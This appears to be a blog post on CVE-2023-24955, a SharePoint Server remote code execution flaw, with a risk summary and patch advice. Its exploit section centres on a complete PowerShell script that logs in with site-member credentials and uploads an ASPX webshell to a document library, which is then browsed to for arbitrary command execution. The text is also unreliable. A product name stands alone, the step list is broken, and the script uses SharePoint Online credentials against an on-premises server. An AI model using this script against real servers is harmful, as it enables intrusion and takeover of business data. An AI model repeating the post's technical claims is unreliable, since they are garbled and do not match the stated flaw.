CVE-2023-24955 - Inside the Microsoft SharePoint Server Remote Code Execution Vulnerability

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Introduction

On May 2023, Microsoft published a critical security bulletin for CVE-2023-24955—a notorious Remote Code Execution (RCE) vulnerability in Microsoft SharePoint Server. This vulnerability set security teams on high alert; attackers could potentially run arbitrary code and compromise entire SharePoint environments. In this post, we’ll break down what CVE-2023-24955 is, how it works, how hackers can exploit it, and most importantly, how you can protect your organization.

What is CVE-2023-24955?

CVE-2023-24955 is a critical security flaw allowing authenticated attackers to execute arbitrary code on vulnerable SharePoint servers. The issue arises in how SharePoint validates certain user inputs. Hackers with minimal privileges could escalate their access, then run commands in the context of the server’s service account.

Original Microsoft Advisory:

Microsoft Security Update Guide - CVE-2023-24955

How Dangerous is It?

If exploited, CVE-2023-24955 grants the attacker the ability to install programs, view/change/delete data, or create new accounts. Since SharePoint hosts business-critical data, such breaches can cause devastating data leaks or ransomware infections.

Microsoft SharePoint Server 2016

You’re at risk if you haven’t applied Microsoft’s May 2023 update or later patches.

How Does the Exploit Work?

The attacker needs at least Site Member permissions—not just a random internet user, but someone (or something) who has an account on your SharePoint environment. Once authenticated, the attacker sends specially crafted requests that exploit the flaw in input validation, eventually achieving code execution.

Gain access: The attacker logs in with Site Member permissions.

2. Upload Payload: The attacker uses SharePoint’s features to upload a malicious file (like an ASPX shell).
3. Trigger the Vulnerability: The attacker uses a crafted request to exploit the RCE via vulnerable SharePoint functionality.
4. Execute Code: The malicious payload runs with the permissions of the SharePoint service account—often SYSTEM—giving them a strong foothold.

Simple Exploit Example

*For educational purposes only! Do NOT use this to attack systems without permission.*

Here’s a rough outline of how an exploit might be weaponized using PowerShell and the SharePoint Client Object Model:

# Sample PowerShell snipplet to upload a malicious webshell (requires authentication)

# Setup SharePoint site URL and credentials
$siteUrl = "https://yoursharepointsite/";
$username = "attacker@domain.com"
$password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$creds = New-Object Microsoft.SharePoint.Client.SharePointOnlineCredentials($username, $password)

# Prepare malicious ASPX payload as file
$maliciousFile = "C:\Path\to\webshell.aspx"

# Upload to vulnerable document library
Add-Type -Path "C:\Path\To\Assemblies\Microsoft.SharePoint.Client.dll"
Add-Type -Path "C:\Path\To\Assemblies\Microsoft.SharePoint.Client.Runtime.dll"

$ctx = New-Object Microsoft.SharePoint.Client.ClientContext($siteUrl)
$ctx.Credentials = $creds

$library = $ctx.Web.Lists.GetByTitle("Documents")
$fileStream = [System.IO.File]::OpenRead($maliciousFile)
$fileCreationInfo = New-Object Microsoft.SharePoint.Client.FileCreationInformation
$fileCreationInfo.ContentStream = $fileStream
$fileCreationInfo.URL = "webshell.aspx"
$fileCreationInfo.Overwrite = $true

$newFile = $library.RootFolder.Files.Add($fileCreationInfo)
$ctx.Load($newFile)
$ctx.ExecuteQuery()

Write-Host "Malicious webshell uploaded!"

Once uploaded, the attacker could browse to https://yoursharepointsite/Documents/webshell.aspx and execute arbitrary commands through the webshell.

Mitigation and Protection

Microsoft Fix:
Install patches released in May 2023 or later for your version of SharePoint.
- SharePoint Updates May 2023

Conclusion

CVE-2023-24955 proves yet again how a single crack in enterprise software can lead to massive risks. If you run SharePoint, patch your servers immediately and audit your user permissions. Share this alert with your IT and security teams—only awareness and proactive defense can keep your data safe.

Timeline

Published on: 05/09/2023 18:15:00 UTC
Last modified on: 05/09/2023 18:23:00 UTC